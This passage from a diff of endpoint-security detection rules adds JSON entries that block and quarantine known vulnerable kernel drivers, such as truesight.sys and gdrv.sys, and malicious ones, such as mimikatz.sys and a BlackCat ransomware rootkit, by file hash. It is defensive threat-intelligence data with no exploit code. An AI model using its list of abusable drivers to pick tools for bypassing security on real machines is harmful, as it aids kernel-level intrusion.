+  "creation_date": "2026-03-23T11:45:31.142381Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142387Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27ec009fd86898d1319bfe14483d131155e4b929fc8362cda1ab024960725474",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "574dc119-3840-538c-a80a-73ceff7626d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495799Z",
+  "creation_date": "2026-03-23T11:45:31.495801Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495807Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0872cd9f466ee89a64da287dd8dad21e0e73fd881c99f4c8200d76dcda31430",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57649369-37b8-5350-bc75-192d7e9425cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817817Z",
+  "creation_date": "2026-03-23T11:45:31.817820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817829Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d95a9e6997a67a6a0d585f07615677820e018e8ed1fa34e50acf0d46cbcfbf1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57661967-aa58-5c12-81fd-887a50fdafb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610245Z",
+  "creation_date": "2026-03-23T11:45:29.610247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d3790af5f8e5c945410929e31d06144a471ac82f828afe89a4758a5bbeb7f9f",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "576e210c-edd3-53d5-886a-9f1a0617b5b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142036Z",
+  "creation_date": "2026-03-23T11:45:31.142038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f75699c821358703cf59589e13d48e83d51dcb051a4af138cf0e1f7d6d92183",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "577057c5-23f1-5cf1-b8a6-45190e460df3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143006Z",
+  "creation_date": "2026-03-23T11:45:31.143008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143014Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "393ff33aa9e04350277df6435f9d132f28e8af72668cc7d1db3644601dd22a47",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "577371aa-1a00-587d-af4a-269529be1886",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477756Z",
+  "creation_date": "2026-03-23T11:45:30.477759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477803Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe50be756c689ef56976d96135486ee66192a4de0b82b0d52521978fc589f6fa",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57784f2e-1743-5405-a96b-a9ddbed4ae6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486747Z",
+  "creation_date": "2026-03-23T11:45:31.486750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8a03dde054c42419614e7649b9453368130accaf814baad15464eaef4e8e9b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5779cade-e444-5bde-aae0-037ec951d655",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609094Z",
+  "creation_date": "2026-03-23T11:45:29.609096Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609101Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b92cdb91a2e2fab3881d54f5862e723826b759749f837a11c9e9d85d52095a2",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "577cbf9a-0fc9-5e54-8006-61bfc349be68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820805Z",
+  "creation_date": "2026-03-23T11:45:31.820808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820817Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c087844540dd9583221e2e5d10b1697cca3b8dfe1d1bffe0daf33cebcc7c524",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57830ccb-a899-597a-9e62-dd2401600958",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474054Z",
+  "creation_date": "2026-03-23T11:45:31.474058Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72d1c35e3a767ed6f6363e51e1c63f2fbfd076f7b2f2d286a64cd753122a33cb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5786eae6-a35f-54e9-a5d8-320c2399bcf4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477820Z",
+  "creation_date": "2026-03-23T11:45:30.477824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "253a549a1e13a5a7e242ac1b39d5bebc61dcec7794171a58093700ae760d4b71",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5787a165-db37-5a20-bead-f5edb69594c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155506Z",
+  "creation_date": "2026-03-23T11:45:31.155508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb0b66a978846cb92f09b2badcc5ef4a473383748e94645f81851794a0f27350",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "578ac9b1-9fe0-5dcf-a96e-02585fa08cb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817661Z",
+  "creation_date": "2026-03-23T11:45:30.817663Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817669Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6575ea9b319beb3845d43ce2c70ea55f0414da2055fa82eec324c4cebdefe893",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "578e31a5-9066-5ae2-b2f6-06e35c3e19b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811186Z",
+  "creation_date": "2026-03-23T11:45:31.811189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31b4ddfe88418a83c71ce8d882403587caa02b2adeaedd3a24ece3863987451c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "579c7a5f-58cd-5f07-8a77-290c16ea399c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461296Z",
+  "creation_date": "2026-03-23T11:45:30.461299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88fb0a846f52c3b680c695cd349bf56151a53a75a07b8b0b4fe026ab8aa0a9af",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx64.sys) [https://www.loldrivers.io/drivers/5a03dc5a-115d-4d6f-b5b5-685f4c014a69/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "579dffb8-b7b9-59d1-b3b3-3838a865d62a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973776Z",
+  "creation_date": "2026-03-23T11:45:29.973778Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973783Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7837cb350338c4958968d06b105466da6518f5bb522a6e70e87c0cad85128408",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57a32dc1-aa48-5e1e-86f3-9d04b0502187",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453606Z",
+  "creation_date": "2026-03-23T11:45:30.453610Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453619Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "677ec2df835069678876defc3ef5ff73f463ad39e8466d76632d06f6a29a494f",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57adfffe-1eea-5ef0-8b2f-60401cf49f18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977107Z",
+  "creation_date": "2026-03-23T11:45:29.977109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b17507a3246020fa0052a172485d7b3567e0161747927f2edf27c40e310852e0",
+  "comment": "ASUS vulnerable VGA Kernel Mode Driver (aka EIO.sys) [https://www.loldrivers.io/drivers/f654ad84-c61d-477c-a0b2-d153b927dfcc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57b0b2e2-69ff-51b9-bec1-18c2f17e2a40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462228Z",
+  "creation_date": "2026-03-23T11:45:30.462231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462240Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76718b87861bf6e502aa95ea85e378326c8db1759fe010c941b26cba3c881133",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57b33225-5119-53ab-a6be-b6f8dd45035c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985539Z",
+  "creation_date": "2026-03-23T11:45:29.985541Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ed22c0033aed380aa154e672e8db3a2d4c195c4",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka fgme.sys, ktes.sys, kt2.sys and ktgn.sys) [https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html] [file SHA1]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57b68ae8-9a2a-5132-8dc0-5f2598228c1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475988Z",
+  "creation_date": "2026-03-23T11:45:30.475991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6cf1cac0e97d30bb445b710fd8513879678a8b07be95d309cbf29e9b328ff259",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57b73945-b57e-52a7-a8a1-a4f6075d183b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454241Z",
+  "creation_date": "2026-03-23T11:45:30.454244Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31867db933ed4407d22de8f0ef9b52958c40c63c2328e1863dfd3fe58d3b53c3",
